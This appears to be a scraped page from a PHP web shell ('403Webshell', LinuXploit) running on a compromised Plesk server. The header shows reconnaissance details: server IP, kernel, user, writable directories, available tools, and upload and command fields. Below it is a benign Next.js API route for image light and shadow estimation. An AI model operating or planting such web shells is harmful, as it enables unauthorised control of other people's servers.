403Webshell
Server IP : 217.154.3.148  /  Your IP : 216.73.216.90
Web Server : Apache
System : Linux blissful-wright.217-154-3-148.plesk.page 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : gracious-boyd_hfhh1h8vo9n ( 10000)
PHP Version : 8.3.31
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/gracious-boyd.217-154-3-148.plesk.page/nextjs/pages/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/gracious-boyd.217-154-3-148.plesk.page/nextjs/pages/api/light-masks.ts
import type { NextApiRequest, NextApiResponse } from 'next'
import { estimateLightShadow } from '../../lib/illumination'

type ParsedUpload = { file: Buffer; fields: Record<string, string> }

type AnalyzeMixResponse = { fg_mask?: string | null }

export const config = { api: { bodyParser: false } }

// Hilfs-Aufruf: deine Analyze-Mix-Route holen, um fg_mask zu bekommen (falls nicht mitgesendet)
const LOCAL_ANALYZE = process.env.LOCAL_ANALYZE_URL || 'http://127.0.0.1:3001/nextjs/api/analyze-mix?ransac=auto'

async function callAnalyze(buf: Buffer): Promise<AnalyzeMixResponse> {
  const fd = new FormData()
  const arrayBuffer = buf.buffer.slice(buf.byteOffset, buf.byteOffset + buf.byteLength) as ArrayBuffer
  const blob = new Blob([arrayBuffer], { type: 'application/octet-stream' })
  fd.append('file', blob, 'img.jpg')
  const r = await fetch(LOCAL_ANALYZE, { method: 'POST', body: fd })
  if (!r.ok) throw new Error('analyze failed ' + r.status)
  return r.json() as Promise<AnalyzeMixResponse>
}

async function streamToBuffer(req: NextApiRequest): Promise<Buffer> {
  const chunks: Buffer[] = []
  const iterable = req as unknown as AsyncIterable<Buffer | Uint8Array | string>
  for await (const chunk of iterable) {
    if (typeof chunk === 'string') {
      chunks.push(Buffer.from(chunk))
    } else {
      chunks.push(Buffer.from(chunk))
    }
  }
  return Buffer.concat(chunks)
}

function parseMultipart(body: Buffer, boundary: string): ParsedUpload {
  const boundaryBuffer = Buffer.from(`--${boundary}`)
  let cursor = body.indexOf(boundaryBuffer)
  const result: ParsedUpload = { file: Buffer.alloc(0), fields: {} }
  let fileFound = false

  while (cursor !== -1) {
    cursor += boundaryBuffer.length
    if (body[cursor] === 45 && body[cursor + 1] === 45) break
    if (body[cursor] === 13 && body[cursor + 1] === 10) {
      cursor += 2
    }

    const headerEnd = body.indexOf(Buffer.from('\r\n\r\n'), cursor)
    if (headerEnd === -1) break
    const headersBuf = body.slice(cursor, headerEnd)
    const headers = headersBuf.toString('utf8')
    cursor = headerEnd + 4

    const nextBoundary = body.indexOf(boundaryBuffer, cursor)
    if (nextBoundary === -1) break
    let contentEnd = nextBoundary
    if (body[contentEnd - 2] === 13 && body[contentEnd - 1] === 10) {
      contentEnd -= 2
    }
    const content = body.slice(cursor, contentEnd)
    cursor = nextBoundary

    const disposition = headers
      .split(/\r?\n/)
      .find((line) => /content-disposition/i.test(line)) || ''
    const nameMatch = disposition.match(/name="([^"]+)"/i)
    const fileMatch = disposition.match(/filename="([^"]*)"/i)
    const fieldName = nameMatch?.[1]

    if (fileMatch && fieldName) {
      result.file = content
      fileFound = true
    } else if (fieldName) {
      result.fields[fieldName] = content.toString('utf8')
    }
  }

  if (!fileFound) {
    throw new Error('no file part in multipart payload')
  }
  return result
}

async function parseUpload(req: NextApiRequest): Promise<ParsedUpload> {
  const contentType = req.headers['content-type'] || ''
  const body = await streamToBuffer(req)

  if (/multipart\/form-data/i.test(contentType)) {
    const boundaryMatch = contentType.match(/boundary=([^;]+)/i)
    if (!boundaryMatch) throw new Error('multipart boundary missing')
    return parseMultipart(body, boundaryMatch[1])
  }

  return { file: body, fields: {} }
}

export default async function handler(req: NextApiRequest, res: NextApiResponse) {
  try {
    const { file, fields } = await parseUpload(req)
    if (!file || file.length === 0) {
      throw new Error('empty image payload')
    }

    // optional: der Client kann fg_mask als dataURL mitliefern (FormData mit text-part 'fg_mask')
    // hier vereinfachen wir: wenn kein fg_mask-Text vorliegt, fragen wir analyze-mix ab
    let fgMask: string | undefined = fields['fg_mask']
    try {
      if (!fgMask) {
        const analyzeResp = await callAnalyze(file)
        fgMask = typeof analyzeResp.fg_mask === 'string' ? analyzeResp.fg_mask : undefined
      }
    } catch {
      // analyze fallback failed -> continue without fg mask
    }

    const out = await estimateLightShadow(file, { fgMask })
    res.status(200).json({ ok: true, ...out, source: 'illumination@lowfreq' })
  } catch (error: unknown) {
    const message = error instanceof Error ? error.message : String(error)
    res.status(500).json({ ok: false, error: message })
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit